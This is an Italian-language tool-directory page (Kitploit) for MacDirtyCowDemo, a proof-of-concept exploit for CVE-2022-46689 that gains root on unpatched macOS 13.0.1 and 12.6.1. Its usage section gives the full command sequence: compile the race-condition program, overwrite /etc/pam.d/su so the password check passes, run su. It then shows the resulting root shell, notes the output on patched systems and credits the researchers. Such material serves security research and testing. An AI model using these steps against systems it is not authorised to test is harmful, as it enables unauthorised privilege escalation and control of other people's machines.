Skip to content
KitploitKITPLOIT
StrumentiBlog
Invia
StrumentiBlog
Invia

Strumenti di Hacking, PenTest e Cybersecurity per il tuo Arsenale di Sicurezza!

Kitploit è una directory di strumenti di hacking, cybersecurity e pentesting. Scopri gli ultimi aggiornamenti dei progetti per trovare vulnerabilità, analizzare sistemi, automatizzare i test e rafforzare la tua sicurezza.

··Feed·Contatto·Privacy·© 2026 Kitploit

Directory degli strumenti

Categorie

Vedi tutte le categorie
Loading categories
MacDirtyCowDemo — Ottieni root su macOS 13.0.1 con CVE-2022-46689 (equivalente macOS del bug Dirty Cow), utilizzando il test case estratto dal codice sorgente XNU di Apple. | Kitploit
Strumenti/GitHubGitHub/zhuowei/macdirtycowdemo
Escalation di PrivilegiAnalisi delle VulnerabilitàExploitPenetration TestingRed TeamingBinary Exploitation
GitHubzhuowei/macdirtycowdemo

MacDirtyCowDemo

Ottieni root su macOS 13.0.1 con CVE-2022-46689 (equivalente macOS del bug Dirty Cow), utilizzando il test case estratto dal codice sorgente XNU di Apple.

Vedi Repository
4103513 anni faRevisionato da Kitploit

Più Popolari

Vedi tutti →

Scopri gli strumenti più utilizzati dalla nostra community.

Esplora tutti gli strumenti

Sfoglia la nostra collezione di strumenti

Vedi tutti gli strumenti →
Condividi
Sito web

Ottieni root su macOS 13.0.1 con CVE-2022-46689 (equivalente macOS del bug Dirty Cow), utilizzando il test case estratto da Apple's XNU source.

https://worthdoingbadly.com/macdirtycow/

Utilizzo

Su una macchina macOS 13.0.1 / 12.6.1 (o inferiore), esegui:

root@kitploit:~
clang -o switcharoo vm_unaligned_copy_switch_race.c
sed -e "s/rootok/permit/g" /etc/pam.d/su > overwrite_file.bin
./switcharoo /etc/pam.d/su overwrite_file.bin
su

Dovresti ottenere:

root@kitploit:~
% ./switcharoo /etc/pam.d/su overwrite_file.bin
Testing for 10 seconds...
RO mapping was modified
% su
sh-3.2# 

Testato su macOS 13 beta (22A5266r) con SIP disattivato (dovrebbe comunque funzionare con SIP attivo).

Se il tuo sistema è completamente aggiornato (macOS 13.1 / 12.6.2), dovrebbe invece mostrare:

root@kitploit:~
$ ./switcharoo /etc/pam.d/su overwrite_file.bin
Testing for 10 seconds...
vm_read_overwrite: KERN_SUCCESS:9865 KERN_PROTECTION_FAILURE:3840 other:0
Ran 13705 times in 10 seconds with no failure

e l'esecuzione di su dovrebbe ancora chiedere una password.

Grazie a Sealed System Volume, eseguire questo su qualsiasi file nel volume /System modifica il file solo temporaneamente: viene ripristinato al riavvio. Eseguirlo su un file su un volume scrivibile manterrà la modifica dopo un riavvio.

Crediti

  • Ian Beer di Project Zero per aver trovato il problema. Non vedo l'ora del tuo writeup!
  • Apple per il test case. (Non ho cambiato nulla: ho solo aggiunto il parametro da riga di comando per controllare cosa sovrascrivere.)
  • SSLab@Gatech per il trucco per disabilitare il controllo della password usando /etc/pam.d.
Scarica lo strumento